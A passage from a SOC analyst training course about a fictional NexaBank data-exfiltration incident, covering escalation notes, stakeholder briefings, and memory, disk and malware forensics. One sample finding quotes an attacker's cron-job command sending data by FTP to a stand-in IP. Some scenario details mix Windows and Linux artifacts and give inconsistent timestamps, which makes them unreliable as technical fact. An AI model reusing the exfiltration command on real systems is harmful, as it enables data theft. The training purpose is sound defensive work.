Before moving on to **Section 2.4: Prioritization & Escalation**, make sure you can:

- Rank the three new alerts based on business impact.
- Identify which alert is most clearly linked to data exfiltration.
- Record your triage decisions in the SOC Ticket.
- Prepare to escalate the critical alert to senior staff.

Escalation Note Template – SOC to Senior Analyst

Ticket ID: _____

Date/Time of Escalation: _____

Escalated By (Junior Analyst): _____

Escalated To (Senior Analyst): _____

1. Summary of Issue

Provide a concise 2–3 sentence description of the suspicious activity.
Example:
"Unusual login detected for privileged account dbadmin from foreign IP 203.0.113.41 at 2:41 AM. Subsequent file access on HR database server followed by outbound FTP transfer to external IP 198.51.100.77. Suspected data exfiltration in progress."

2. Indicators of Compromise (IOCs)

List all known IOCs relevant to this escalation.

IOC	Source	Notes
_____	Authentication Log	_____
_____	Firewall Log	_____
_____	SIEM Correlation	_____

3. Alerts Involved

Identify all related alerts and their triage priority.

Alert	Priority (1–3)	Notes
_____	___	_____
_____	___	_____

Alert	Priority (1–3)	Notes
_____	___	_____

4. Recommended Action

Select one or more:

- Immediate account disablement (dbadmin)
- Isolation of HR database server
- Block outbound FTP connection (IP 198.51.100.77)
- Continue monitoring related accounts (e.g., VPN failed logins)
- Other: _____

5. Supporting Evidence

Attach or link relevant log extracts, screenshots, or packet captures.

- Authentication log excerpt
- Firewall outbound transfer log
- SIEM screenshot (correlation rule trigger)

6. Escalation Status

- **Ticket Status:** [ ] Escalated – Awaiting Senior Analyst Review
- **Priority Level:** [ ] High [ ] Critical

Reminder: Keep escalation notes **short, clear, and professional**. The senior analyst should be able to make a decision in under **2 minutes** of reading your note.

2.4 Prioritization & Escalation – Making the Call

Scenario Recap

You've documented the suspicious **dbadmin login** (Section 2.1), reviewed supporting logs (Section 2.2), and triaged three additional alerts (Section 2.3).
Your next task is to **prioritize these alerts** and decide which one(s) require **immediate escalation** to a Senior Analyst.

Step 1: Revisit the Alerts

- **Alert A (Malware Detection):** Isolated workstation infection, quarantined.
- **Alert B (Failed Logins):** Multiple failed attempts, no successful access yet.
- **Alert C (Outbound FTP Transfer):** Privileged account transferring HR data externally.

Which one is **business-critical right now**?

Step 2: Apply Escalation Criteria

SOC teams typically escalate when:

1. **Sensitive data is at risk**
2. **Privileged accounts are involved**
3. **Evidence of exfiltration or lateral movement exists**
4. **Policy requires immediate containment**

Based on these, **Alert C (Outbound FTP transfer)** is the **top priority**.

Step 3: Draft an Escalation Note

Now, use the **Escalation Note Template** to formally escalate this alert.
Your note should:

- Summarize the suspicious activity clearly.

- List IOCs and supporting logs.
- Recommend immediate containment steps.

Exercise: Write Your Escalation Note

Fill in the blanks below:

Summary of Issue:

_____

IOCs Identified:

1. _____
2. _____
3. _____

Recommended Action:

- Disable account dbadmin
- Isolate HR-DB01 (database server)
- Block outbound FTP connection
- Other: _____

Step 4: Submit and Log

- Submit your escalation note to the **Senior SOC Analyst**.
- Attach it to your **SOC Ticket** for traceability.
- Change ticket status to **Escalated – Awaiting Review**.

Checkpoint: Section 2.4

Before advancing to **Section 2.5: Senior Analyst Response**, make sure you:

- Correctly prioritized the alerts (FTP exfiltration = top priority).
- Drafted a professional escalation note using the template.
- Updated your SOC Ticket with escalation status.
- Understood **why escalation criteria matter** in incident response.

2.5 Senior Analyst Response – Containment in Motion

Scenario

You've escalated the suspicious **dbadmin login + outbound FTP transfer** to your Senior SOC Analyst. Within minutes, they review your escalation note and respond with containment directives.

Senior Analyst Memo – Feedback & Actions

To: Junior SOC Analyst Team
From: Senior SOC Analyst – Jordan Rivera
Subject: Escalation Review – dbadmin Account Incident
Date/Time: 2025-09-27, 03:05 AM

1. Review of Your Escalation Note

- Good job capturing the key IOCs (foreign IP login, HR data access, outbound FTP transfer).
- Escalation was timely and justified — exactly the kind of event that requires immediate containment.
- Improvement: Be specific in recommended actions — include exact hostnames/IPs, not just "database server." Precision speeds up containment.

2. Immediate Containment Actions (Assigned to SOC Team)

1. Disable account dbadmin immediately.
2. Isolate affected host **HR-DB01** from the corporate network.
3. Block outbound traffic to 198.51.100.77 (FTP server) at the firewall.
4. Preserve SIEM logs and firewall captures for evidence.

3. Next Steps (Assigned to You)

- Continue monitoring for any lateral movement from other privileged accounts.
- Begin pulling logs from **VPN gateway** and **endpoint protection** for correlation.
- Document every containment action with timestamps in the SOC Ticket.

4. Analyst Development Note
This was a strong escalation. Remember:

- Containment comes first.
- Documentation must be detailed — every action may be reviewed later by management or legal.
- Never assume — always provide evidence with your recommendations.

Keep it up.

Exercise: Document Senior Analyst Response

Update your SOC Ticket with:

- Actions taken (disable account, isolate host, block outbound traffic).
- Timestamp of each action.
- Reference to Senior Analyst Memo.

Checkpoint: Section 2.5

Before moving to **Section 2.6: Escalation to Stakeholders**, make sure you:

- Reviewed the Senior Analyst's feedback.
- Understood containment priorities.
- Updated the SOC Ticket with actions and timestamps.
- Noted areas for improvement in your escalation process.

Stakeholder Escalation Briefing – Incident Update

Date/Time: _____

Prepared By: _____

Distribution: [ ] IT Operations [ ] HR [ ] Legal [ ] Executive Team

1. Incident Summary (Plain Language)

Describe what happened in simple, non-technical terms.
Example:
"A privileged account (dbadmin) was used outside normal business hours to log into NexaBank's HR database. Shortly afterward, sensitive employee data was accessed and a large file transfer was detected to an unauthorized external server."

2. Current Status

- **Containment Actions Taken:**
  - Account dbadmin disabled
  - HR database server isolated
  - Outbound connection to suspicious IP blocked
- **Status of Threat:** [ ] Contained [ ] Ongoing Investigation [ ] Monitoring

3. Business Impact

Explain how the incident could affect each stakeholder group.

- **IT Operations:** System isolation may impact HR database availability.
- **HR:** Employee personal data may have been accessed.
- **Legal/Compliance:** Potential data breach reporting obligations.
- **Executives:** Reputational risk and customer trust at stake.

4. Next Steps (Per Stakeholder)

- **IT Operations:** Assist with isolating systems and preparing backups.
- **HR:** Prepare to notify impacted employees if breach confirmed.
- **Legal:** Assess regulatory reporting requirements (e.g., GDPR, HIPAA).
- **Executives:** Prepare internal/external communication strategy.

5. Key Contacts

- **SOC Lead:** _____
- **IT Ops Manager:** _____
- **HR Representative:** _____
- **Legal Counsel:** _____

Reminder for Analysts:
This briefing should **avoid jargon**. Stakeholders care about **impact, actions, and next steps**, not raw IPs or log data. Keep it **short, clear, and business-focused**.

2.6 Escalation to Stakeholders – Beyond the SOC

Scenario

At **3:20 AM**, following containment actions, the Senior SOC Analyst instructs you to prepare an update for stakeholders.
This means writing a **non-technical briefing** that explains:

- What happened
- What actions were taken
- How it may impact different groups
- What they need to do next

This step is critical: a poorly communicated update can confuse or panic stakeholders, while a clear one ensures fast, coordinated response.

Step 1: Identify Your Audience

Stakeholders who need to be informed include:

- **IT Operations** → Help with isolation, backups, patching.
- **HR** → May need to prepare notifications for impacted employees.
- **Legal/Compliance** → Assess breach reporting obligations.
- **Executives** → Require a high-level summary to guide business decisions.

Step 2: Translate Technical into Business Impact

Instead of technical jargon (e.g., "foreign IP" or "FTP exfiltration"), use business-friendly language:

- "Unauthorized access from outside North America."
- "Sensitive employee data may have been transferred externally."
- "The HR database is temporarily offline for investigation."

Step 3: Draft a Stakeholder Briefing

Using the **Stakeholder Escalation Briefing Template**, your briefing might look like this:

Incident Briefing – SOC to Stakeholders

Date/Time: 2025-09-27, 03:20 AM
Prepared By: Junior SOC Analyst
Distribution: IT Ops, HR, Legal, Executive Team

1. Incident Summary (Plain Language)
A privileged account (dbadmin) was used to log into the HR database outside normal business hours. Sensitive HR files were accessed, and a large transfer was detected to an unauthorized external server.

2. Current Status

- Account dbadmin disabled
- HR database server isolated from network
- Outbound connection to external IP blocked
- Logs preserved for evidence
  Status of Threat: Contained (investigation ongoing)

3. Business Impact

- **IT Ops:** HR database offline during isolation.
- **HR:** Employee records may have been accessed.
- **Legal/Compliance:** Possible breach reporting required.
- **Executives:** Risk to reputation and customer trust.

4. Next Steps

- **IT Ops:** Support server isolation and prep clean backup.
- **HR:** Prepare employee notification plan if breach confirmed.
- **Legal:** Begin breach reporting assessment.

- **Executives:** Prepare external comms strategy.

5. Key Contacts

- SOC Lead – Jordan Rivera
- IT Ops Manager – [Name]
- HR Representative – [Name]
- Legal Counsel – [Name]

Step 4: Delivering the Briefing

In practice, this briefing might be:

- Shared via **secure email** or ticketing system
- Delivered in a **conference bridge or war room meeting**
- Updated **every 30–60 minutes** as the situation evolves

Exercise: Draft Your Own Briefing

Fill in the Stakeholder Briefing Template with:

1. Your own wording of the incident summary (avoid jargon).
2. At least **two business impacts** specific to NexaBank.
3. Clear, actionable next steps for each stakeholder group.

Checkpoint: Section 2.6

Before moving to **Section 2.7: Customer Communication Prep**, make sure you:

- Identified which stakeholders need updates.
- Translated technical details into business impact.
- Drafted a stakeholder briefing using the template.
- Understood the importance of clarity and non-technical language.

2.7 Customer Communication Prep – Protecting Trust

Scenario

At **4:00 AM**, executives call an urgent meeting.
The SOC has confirmed **suspicious access to HR data** and **potential exfiltration**.
Now the question arises:
"Do we need to tell our customers — and if so, what do we say, and when?"

This is where cybersecurity moves from technical response into **crisis communication**.

Step 1: Why Customer Communication Matters

- Customers expect **transparency** when their data may be at risk.
- Regulators may **require disclosure** within specific timelines (e.g., GDPR, state data breach laws).
- Poorly handled communication can damage trust more than the breach itself.

Step 2: What to Communicate (and What Not To)

When preparing external communication:
DO include

- Acknowledgment of the incident.
- What kinds of data *may* have been affected.
- What actions are being taken to secure systems.
- Steps customers should take (e.g., change passwords, monitor accounts).

DO NOT include

- Highly technical details (IPs, FTP logs).
- Speculation about attackers.
- Blame or unconfirmed theories.

Step 3: Drafting a Customer Notification (Example)

Subject: Important Security Notice from NexaBank

Body:
NexaBank has identified unusual activity involving one of our internal systems. Out of an abundance of caution, we are investigating potential unauthorized access to employee data.

At this time, we have:

- Contained the suspicious activity.
- Isolated affected systems.
- Begun a full investigation with internal and external experts.

While the investigation continues, we recommend that customers:

- Review account activity regularly.
- Change account passwords.
- Enable two-factor authentication if not already active.

We will provide updates as soon as more information becomes available.
Your trust is our priority, and we are committed to full transparency as we resolve this issue.

— NexaBank Security Team

Step 4: Exercise – Draft Your Own Customer Statement

Using the structure above, write a **short notification draft** that:

1. Clearly states that an incident is under investigation.
2. Provides at least **two specific customer actions**.
3. Reassures customers that NexaBank is taking the issue seriously.

Step 5: Escalation Note for Executives

Before sending anything public, the SOC team must **summarize risks for executives**:

- What customer data may be affected?

- How confident are we in that assessment?
- What legal/compliance teams are advising?
- What timeline applies (24h, 72h, etc.)?

Checkpoint: Section 2.7

Before moving to **Section 2.8: Executive War Room Simulation**, make sure you:

- Understand why external comms must balance speed and accuracy.
- Drafted a customer notification that avoids jargon but inspires trust.
- Identified at least two concrete actions customers should take.
- Recognized the role of executives and legal in approving statements.

2.8 Executive War Room Simulation – Crisis Under Pressure

Scenario

It's **4:30 AM**.
The SOC has contained the immediate threat, but **executives, HR, Legal, and IT Ops** are now convened in an emergency **"War Room" call** to manage the incident.

As a Junior SOC Analyst, you are invited to brief technical findings — and then observe how **different stakeholders** bring their own priorities, sometimes conflicting.

This simulation shows how **technical response and business impact collide**.

Step 1: War Room Participants

- **SOC/Security:** Present technical evidence, suggest containment.
- **IT Operations:** Worry about restoring systems and uptime.
- **HR:** Concerned about employee data exposure.
- **Legal/Compliance:** Focused on regulatory obligations.
- **Executives:** Pressure to protect reputation and reassure customers.

Step 2: War Room Dynamics

The meeting begins with **you presenting a 2-minute briefing** (based on your stakeholder escalation note from 2.6).
Then, stakeholders react:

- **IT Ops:** "Isolation of HR-DB01 impacts payroll — how long until it's restored?"
- **HR:** "Do we need to notify employees today? What data was accessed?"
- **Legal:** "If PII was transferred, regulators must be notified within 72 hours. Can we confirm?"
- **Executives:** "What do we tell the press if this leaks? We need clear talking points."

Step 3: Exercise – Stakeholder Priorities Table

Fill in the table to capture what each group cares about:

Stakeholder	Top Concern	Conflict With
SOC/Security	Containment & evidence integrity	Execs (want quick comms)
IT Ops	System availability	Security (wants longer isolation)
HR	Employee data protection	Execs (timeline pressure)
Legal	Regulatory deadlines	IT Ops (push for quick restore)
Executives	Reputation & customer trust	SOC (wants to confirm before disclosure)

Step 4: Communication Under Pressure

Now, you roleplay drafting **two short messages** during the war room:

1. **Internal Update (for executives)** → 3 sentences, simple, business impact.
2. **Technical Note (for SOC logs)** → precise, evidence-driven, log references.

This dual-communication skill is crucial:

- Executives want **clarity and speed**.
- SOC logs need **precision and detail**.

Step 5: Decision Point

The war room ends with **two major questions** for the leadership team:

1. Do we notify customers immediately, or wait until investigation confirms exfiltration?
2. Do we restore the HR database quickly, or keep it isolated until forensics are complete?

As a Junior Analyst, you don't decide — but you **observe and document**.

Exercise – Analyst Reflection

Write a short reflection:

- Which stakeholder did you find most challenging to balance?
- What risks might come from restoring service too soon?
- What risks might come from delaying customer notification?

Checkpoint: Section 2.8

Before moving on to **Phase 3: Your Investigation**, make sure you:

- Captured stakeholder priorities and conflicts.
- Practiced writing dual messages (executive vs. SOC log).
- Reflected on the trade-offs between speed, accuracy, and trust.
- Updated your SOC Ticket with war room notes.

Phase 3: Your Investigation

3.1 Forensic Data Collection – Preserving the Evidence

Scenario

It's now **5:15 AM**.
Containment steps have been taken:

- dbadmin account disabled
- HR-DB01 server isolated
- Outbound FTP blocked

Your next role as a Junior SOC Analyst is to help with **forensic data collection**.
This means preserving volatile and non-volatile evidence before it disappears or gets overwritten.

Step 1: Forensic Principles

When collecting data:

- **Do no harm** → Don't change the original evidence.
- **Preserve chain of custody** → Document who collected it, when, and how.
- **Make copies** → Work on forensic images, not live systems.
- **Log everything** → Timestamps, commands used, file hashes.

Step 2: What to Collect

You'll focus on **three categories of evidence**:

1. **System Memory (RAM Dump)**
    - Why: Captures running processes, network connections, possible malware in memory.
    - Example command (Linux):

- sudo LiME -o /mnt/usb/memdump.lime -f
- Example tool (Windows): FTK Imager, DumpIt.

2. **Disk/Filesystem Snapshot**
    - Why: Preserve file system state, logs, malicious binaries, and timestamps.
    - Example tool: dd for Linux, FTK Imager for Windows.
    - Always hash the image (e.g., sha256sum image.dd).
3. **Network Traffic (PCAP)**
    - Why: See attacker communications, exfiltration attempts, command-and-control.
    - Tool: tcpdump or Wireshark to capture packets from isolated server before wipe/restore.

Step 3: Documentation – Chain of Custody

Record the following for each collected artifact:

- What was collected (e.g., RAM dump, disk image, pcap).
- Date/time of collection.
- Tool/command used.
- Hash values for integrity verification.
- Analyst name & signature.

Step 4: Exercise – Fill in Evidence Collection Table

Evidence Type	Tool/Command	File Name	Hash (SHA-256)	Collected By / Date
RAM Dump	_____	_____	_____	_____
Disk Image	_____	_____	_____	_____

Evidence Type	Tool/Command	File Name	Hash (SHA-256)	Collected By / Date
PCAP (Traffic Log)	_____	_____	_____	_____

Step 5: Update SOC Ticket

Add a new section to your SOC Ticket:

- Evidence collected (list and attach logs).
- Chain of custody details.
- Any anomalies spotted during collection (strange processes, unusual open ports).

Checkpoint: Section 3.1

Before moving on to **Section 3.2: Memory & Process Analysis**, make sure you:

- Understood the principles of forensic collection (preservation, chain of custody).
- Listed at least three evidence types (RAM, disk, PCAP).
- Practiced filling in an Evidence Collection Table.
- Updated your SOC Ticket with collection notes.

Chain of Custody Log – Forensic Evidence Handling

Case ID: _____

Incident Name: _____

Date Opened: _____

Analyst Responsible: _____

1. Evidence Summary

Evidence ID	Description	Source System	Collection Tool/Method	Date/Time Collected
E-001	_____	_____	_____	_____
E-002	_____	_____	_____	_____
E-003	_____	_____	_____	_____

2. Integrity Verification

For each evidence file, calculate and record cryptographic hashes (e.g., SHA-256).

Evidence ID	File Name	SHA-256 Hash	Verified By
E-001	_____	_____	_____
E-002	_____	_____	_____
E-003	_____	_____	_____

3. Custody Transfers

Every time evidence changes hands, record the transfer details.

Evidence ID	Released By (Name/Signature)	Date/Time	Received By (Name/Signature)	Purpose/Notes
E-001	_____	_____	_____	_____
E-002	_____	_____	_____	_____
E-003	_____	_____	_____	_____

4. Final Disposition

When evidence is no longer needed (e.g., archived, returned, destroyed), record the final outcome.

Evidence ID	Disposition	Date/Time	Approved By
E-001	_____	_____	_____
E-002	_____	_____	_____
E-003	_____	_____	_____

Reminder:

- Every log entry must be legible, complete, and signed.
- No evidence is admissible in legal or compliance contexts without a documented chain of custody.
- Treat this log as part of the **official incident record**.

3.2 Memory & Process Analysis – What's Hiding in RAM?

Scenario

You've collected a **RAM dump** from the compromised server **HR-DB01**.
Now it's time to analyze it for evidence of malicious activity. Attackers often leave traces in memory, such as:

- Suspicious processes
- Network connections
- Injected code or malware artifacts

Step 1: Tools for Memory Analysis

Common forensic tools include:

- **Volatility Framework (Linux/Windows)** → process listings, DLLs, network sockets
- **Rekall** → modern memory analysis
- **FTK/EnCase** (commercial) → integrated investigation suites

For this lab, we'll use **Volatility** (open-source).

Step 2: Identify Running Processes

Command (Volatility example):

volatility -f memdump.lime pslist

Sample Output:

PID PPID Name Start Time

---- ---- ---------- ------------------

412 4 System 2025-09-26 23:59:12

980 412 svchost.exe 2025-09-27 02:41:00

1337 980 ftpclient.exe 2025-09-27 02:42:15

1450 412 notepad.exe 2025-09-27 02:45:01

Observations:

- **ftpclient.exe** launched just after suspicious dbadmin login.
- This process is uncommon on a database server — a red flag.

Step 3: Check Network Connections

Command:

volatility -f memdump.lime netscan

Sample Output:

Proto Local Address Foreign Address State PID

TCP 10.0.10.25:50500 198.51.100.77:21 ESTABLISHED 1337

Observations:

- Confirms **outbound FTP session** to suspicious IP 198.51.100.77.
- Matches firewall logs → correlation increases confidence.

Step 4: Extract Suspicious Binary

Command:

volatility -f memdump.lime procdump -p 1337 -D ./extracted/

This extracts the executable ftpclient.exe for further malware analysis.
(Handled later in Phase 3.4: Malware Examination.)

Exercise – Fill In Your Findings

Complete the following investigation table:

Finding	Tool/Command Used	Evidence	Why Suspicious?
Suspicious process	_____	_____	_____

Finding	Tool/Command Used	Evidence	Why Suspicious?
Outbound connection	_____	_____	_____
Binary extracted	_____	_____	_____

Step 5: Update SOC Ticket

Add your memory analysis notes:

- Suspicious process identified (ftpclient.exe, PID 1337).
- Outbound connection to known IOC (198.51.100.77).
- Binary extracted for further malware analysis.

Checkpoint: Section 3.2

Before moving on to **Section 3.3: File & Disk Forensics**, make sure you:

- Used memory analysis tools to identify suspicious processes.
- Confirmed suspicious network activity from memory.
- Extracted malicious binary for future malware analysis.
- Documented findings in your SOC Ticket.

Memory Analysis Worksheet – Process & Network Evidence

Case ID: _____

Analyst Name: _____

Date/Time: _____

Source System: _____

Memory File Name: _____

1. Process Analysis

List suspicious or notable processes identified in the RAM dump.

PID	Process Name	Parent PID (PPID)	Start Time	Why Suspicious?
_____	_____	_____	_____	_____
_____	_____	_____	_____	_____
_____	_____	_____	_____	_____

2. Network Connections

Record active or recent network connections.

Proto	Local Address	Foreign Address	State	Associated PID/Process	Notes
_____	_____	_____	_____	_____	_____
_____	_____	_____	_____	_____	_____

3. Extracted Artifacts

Document any binaries, DLLs, or injected code dumped from memory.

File Name	Associated PID	Extraction Tool/Command	Saved Hash (SHA-256)	Notes
_____	_____	_____	_____	_____
_____	_____	_____	_____	_____

4. Analyst Observations

Free-text notes to capture patterns, anomalies, or correlations with other logs.

_____

_____

_____

Reminder:

- Correlate findings with **SIEM and firewall logs** for higher confidence.
- Save all extracted binaries in the **evidence repository**, linked with hashes in the **Chain of Custody Log**.
- Avoid speculation — focus on observable evidence.

3.3 File & Disk Forensics – Hunting for Persistence

Scenario

You now turn to the **disk image** of the HR-DB01 server, collected earlier.
Disk forensics reveals whether attackers:

- Installed malware for persistence
- Modified system files
- Created hidden accounts or scheduled tasks
- Exfiltrated or staged sensitive data

Your task is to search for these footprints.

Step 1: Tools for Disk Analysis

Common forensic approaches:

- **Linux/Unix Tools:** autopsy, sleuthkit, find, strings
- **Windows Tools:** FTK Imager, EnCase, Autopsy
- **General Commands:** ls -l, stat, diff, hashing tools for integrity checks

Step 2: Look for Persistence Mechanisms

On compromised systems, attackers often ensure they can **return later**:

- **Windows:** Check registry keys (e.g., Run keys, services), scheduled tasks, new startup programs.
- **Linux:** Check cron jobs (/etc/cron*), modified init scripts, /etc/passwd for new users.

Sample Finding (Linux):

/etc/cron.d/backup.sh → Suspicious new cron job, created 2025-09-27 02:45

Executes: ftpclient -u attacker -p [redacted] -s 198.51.100.77

Observation: Attacker created a cron job to restart exfiltration even if system rebooted.

Step 3: Search for Modified or New Files

Compare file timestamps with normal baselines.

- Check for recently modified system binaries (ls -ltr /bin, /usr/bin).
- Look for suspicious executables in non-standard locations (/tmp, /var/tmp, hidden dotfiles).

Sample Finding (Windows):

C:\Users\dbadmin\AppData\Roaming\update.exe

File created: 2025-09-27 02:44 AM

Hash: a3c5f… (not matching any known company software)

Observation: Likely malware dropper.

Step 4: Stage/Exfil Data Search

Attackers often prepare sensitive files before sending them out.

- Look for unusual large archives (.zip, .7z, .rar) created around incident time.
- Review access timestamps on HR-related files.

Sample Finding:

/home/dbadmin/hr_archive.zip

Size: 25MB

Created: 2025-09-27 02:42 AM

Contains: employee_data.xlsx, salaries.csv

Observation: Confirms exfiltration preparation.

Step 5: Exercise – Disk Forensics Table

Fill in based on your findings:

Finding	Evidence (File/Path/Key)	Timestamp	Why Suspicious?
Persistence mechanism	_____	_____	_____
Malicious file drop	_____	_____	_____
Staged archive	_____	_____	_____

Step 6: Update SOC Ticket

- Add forensic disk findings.
- Include file paths, timestamps, hashes.
- Link extracted artifacts to **Chain of Custody Log**.
- Cross-reference with memory findings (e.g., ftpclient.exe in both RAM + disk).

Checkpoint: Section 3.3

Before moving to **Section 3.4: Malware Examination**, make sure you:

- Identified at least one persistence mechanism.
- Found suspicious files or archives.
- Correlated disk findings with earlier memory/IOC evidence.
- Updated SOC Ticket with forensic notes.

Disk Forensics Worksheet – Files, Persistence & Exfiltration

Case ID: _____

Analyst Name: _____

Date/Time: _____

Source System: _____

Disk Image File: _____

1. Persistence Mechanisms

Record any methods attackers used to maintain access.

System Type	Location/Key/Script	Created/Modified Time	Why Suspicious?
Windows / Linux	_____	_____	_____
Windows / Linux	_____	_____	_____
Windows / Linux	_____	_____	_____

2. Suspicious Files & Executables

Document potentially malicious files found on disk.

File Path	File Name	Size	Created/Modified Time	Hash (SHA-256)	Notes
_____	_____	_____	_____	_____	_____
_____	_____	_____	_____	_____	_____

3. Staged Data for Exfiltration

List archives, large files, or unusual directories created during the incident.

Archive/File	Contents	Size	Created Time	Why Suspicious?
_____	_____	_____	_____	_____
_____	_____	_____	_____	_____

4. Registry / Config Modifications (Windows)

(If applicable)

Registry Key/Config Path	Value/Change	Time Modified	Notes
_____	_____	_____	_____
_____	_____	_____	_____

5. Analyst Observations

Free-text notes for patterns, anomalies, and correlation with memory or network findings.

Reminder:

- Always **hash extracted files** and record them in the **Chain of Custody Log**.
- Correlate timestamps with **alert timelines** (e.g., login at 2:41 AM, archive creation at 2:42 AM).
- Persistence findings often explain **how attackers stay in** after initial compromise.

3.4 Malware Examination – Unmasking the Attacker's Tool

Scenario

From memory and disk forensics, you extracted a suspicious binary:

- File: ftpclient.exe
- Location: /home/dbadmin/ftpclient.exe
- Timestamp: Created 2025-09-27 02:42 AM

Your task is to perform **initial malware analysis** to understand what it does, without fully reversing the code.

Step 1: File Metadata Check

Start with simple tools to inspect the binary:

- **Linux/macOS:**
- file ftpclient.exe
- strings ftpclient.exe | less
- sha256sum ftpclient.exe
- **Windows (PowerShell):**
- Get-FileHash ftpclient.exe -Algorithm SHA256
- Get-AuthenticodeSignature ftpclient.exe

Sample Finding:

- File type: Windows PE executable
- Strings output reveals:
- USER attacker
- PASS ********
- ftp://198.51.100.77
- exfil.zip

- No valid digital signature

Observation: Hard-coded credentials and FTP commands confirm this binary is designed for **data exfiltration**.

Step 2: Hash & Threat Intelligence Lookup

Take the SHA-256 hash and search it on:

- **VirusTotal** (virustotal.com)
- **Hybrid Analysis** (hybrid-analysis.com)
- **Any internal TI platform**

Sample Finding (VirusTotal):

- 43/65 AV engines flagged the file as **"Trojan.FTPExfil.A"**
- Behavior tags: Credential theft, FTP exfiltration

Step 3: Sandbox or Safe Execution (Optional)

In a controlled environment, execute the binary and monitor behavior:

- Tools: Cuckoo Sandbox, Any.Run, internal malware sandbox
- Look for: network connections, file changes, registry modifications

Sample Behavior Report:

- Connects to IP 198.51.100.77 over port 21
- Uploads hr_archive.zip from /home/dbadmin
- Creates persistence via scheduled task (ftp_sync.job)

Step 4: Exercise – Malware Examination Table

Fill out based on your findings:

Aspect	Evidence/Observation	Why Suspicious?
File metadata	_____	_____

Aspect	Evidence/Observation	Why Suspicious?
Strings output	_____	_____
Threat intel lookup	_____	_____
Sandbox behavior	_____	_____

Step 5: Update SOC Ticket

- Attach hash, strings output, and VirusTotal results.
- Record classification: **Data Exfiltration Trojan**.
- Add IOCs:
    - Hard-coded FTP IP (198.51.100.77)
    - File name (ftpclient.exe)
    - SHA-256 hash

Checkpoint: Section 3.4

Before moving to **Section 3.5: Correlation & Attack Timeline**, make sure you:

- Performed static analysis (file, strings, hash).
- Looked up the hash in threat intel sources.
- (Optional) Reviewed sandbox behavior report.
- Documented malware classification and IOCs in SOC Ticket.

Malware Analysis Worksheet – Binary Examination

Case ID: _____

Analyst Name: _____

Date/Time: _____

File Name: _____

Source (Disk/Memory/Other): _____

1. File Metadata

Record basic details about the file.

Property	Value
File Path	_____
File Size	_____
File Type	_____
Compile Time	_____
SHA-256 Hash	_____
Digital Signature	[ ] Valid [ ] Invalid [ ] None

2. Strings Analysis

List interesting strings found in the binary.

String Extracted	Why Suspicious?
_____	_____
_____	_____
_____	_____

3. Threat Intelligence Lookups

Record results from external or internal platforms.

Platform	Result/Classification	Notes
VirusTotal	_____	_____
Hybrid Analysis	_____	_____
Other (TI feed)	_____	_____

4. Sandbox / Behavioral Observations

(If executed in a safe environment.)

Action Observed	Details	Why Suspicious?
Network connection	_____	_____
File system changes	_____	_____
Persistence attempt	_____	_____

5. IOCs Identified

List Indicators of Compromise generated by analysis.

IOC Type	Value	Notes
File Name	_____	_____
File Hash	_____	_____
IP/Domain	_____	_____
Registry/Config	_____	_____

6. Analyst Notes

Free-text observations, correlations with logs or disk/memory findings.

Reminder:

- Always **hash** the file and record it in the **Chain of Custody Log**.
- Correlate sandbox behavior with earlier evidence (logs, PCAP, cron jobs).
- Classification (e.g., Trojan, Worm, Backdoor) should be based on observed behavior, not assumptions.

3.5 Correlation & Attack Timeline – Reconstructing the Incident

Scenario

At this stage, you've gathered:

- **Logs** (suspicious login, outbound FTP)
- **Memory evidence** (ftpclient.exe process + FTP connection)
- **Disk evidence** (cron job, staged hr_archive.zip)
- **Malware findings** (ftpclient.exe = exfiltration trojan)

Your task is to **stitch these clues together** to explain how the attack unfolded.

Step 1: Timeline Construction

Organize all events by **date/time**. Example:

Sample Timeline

Time (UTC)	Event	Source	Notes
02:41	dbadmin login from IP 203.0.113.41	Auth log	Privileged account, unusual time
02:41–02:42	HR files accessed (employee_data.xlsx, salaries.csv)	File access log	Sensitive data targeted
02:42	Suspicious process ftpclient.exe launched (PID 1337)	Memory analysis	Matches exfil malware
02:42	Archive hr_archive.zip created in /home/dbadmin/	Disk forensics	Data staged for transfer
02:43	Outbound FTP connection → 198.51.100.77:21	Firewall log	Exfil in progress
02:44	Malware persistence cron job created (backup.sh)	Disk forensics	Ensures continued exfiltration

Time (UTC)	Event	Source	Notes
02:45+	Endpoint AV alert (Trojan.FTPExfil.A)	EDR logs	Detection triggered
02:48	Outbound FTP transfer (25MB) confirmed	Firewall log	Data likely exfiltrated
03:05	SOC containment: dbadmin disabled, server isolated	SOC ticket	Containment begins

Step 2: Identify Attack Phases

Map each timeline entry to the **kill chain** or **MITRE ATT&CK** phases:

- **Initial Access** → Compromised dbadmin account (stolen creds?)
- **Execution** → ftpclient.exe launched
- **Persistence** → Cron job created (backup.sh)
- **Exfiltration** → HR data zipped + FTP transfer
- **Detection & Response** → SIEM alert + SOC containment

Step 3: Exercise – Build Your Own Timeline

Fill in the following based on your evidence:

Time	Event	Evidence Source	Attack Phase
_____	_____	_____	_____
_____	_____	_____	_____
_____	_____	_____	_____

Step 4: Analyst Narrative

Write a short **narrative summary** of the incident:
"In the early hours of Sept 27, a privileged account (dbadmin) was accessed from a

foreign IP. Within minutes, HR data was staged and exfiltrated using a custom malware tool (ftpclient.exe). The attacker ensured persistence via a cron job. Detection occurred at 02:48, and the SOC team contained the incident by 03:05."

Step 5: Update SOC Ticket

- Attach completed timeline.
- Note correlation across multiple evidence sources.
- Add classification: **Confirmed Data Exfiltration Incident**.

Checkpoint: Section 3.5

Before moving to **Section 3.6: Reporting & Deliverables**, make sure you:

- Created a chronological attack timeline.
- Mapped events to MITRE ATT&CK phases.
- Wrote a clear narrative summary.
- Updated SOC Ticket with timeline findings.

Attack Timeline Worksheet – Incident Reconstruction

Case ID: _____

Analyst Name: _____

Date/Time Prepared: _____

Source System(s): _____

1. Chronological Timeline

Document key events in the order they occurred.

Time (UTC)	Event	Evidence Source	Notes
_____	_____	_____	_____
_____	_____	_____	_____
_____	_____	_____	_____

2. Attack Phase Mapping (Kill Chain / MITRE ATT&CK)

Map each event to the relevant attack phase.

Time (UTC)	Event	Attack Phase	Technique ID (if MITRE ATT&CK)
_____	_____	_____	_____
_____	_____	_____	_____
_____	_____	_____	_____

3. Indicators of Compromise (IOCs) Correlated

Record IOCs discovered across evidence sources.

IOC Type	Value	Source (Log/Memory/Disk/Malware)	Notes
IP Address	_____	_____	_____
File Hash	_____	_____	_____
File Name	_____	_____	_____
User Account	_____	_____	_____

4. Narrative Summary

Write a concise narrative (3–5 sentences) describing the incident:

_____

_____

_____

Reminder:

- Cross-check timestamps across multiple sources (logs, memory, disk).
- Use **consistent time zones (UTC preferred)** to avoid confusion.
- A well-built timeline forms the **core evidence** for incident reporting and post-incident review.

3.6 Reporting & Deliverables – Building the SOC Incident Report

Scenario

You've completed:
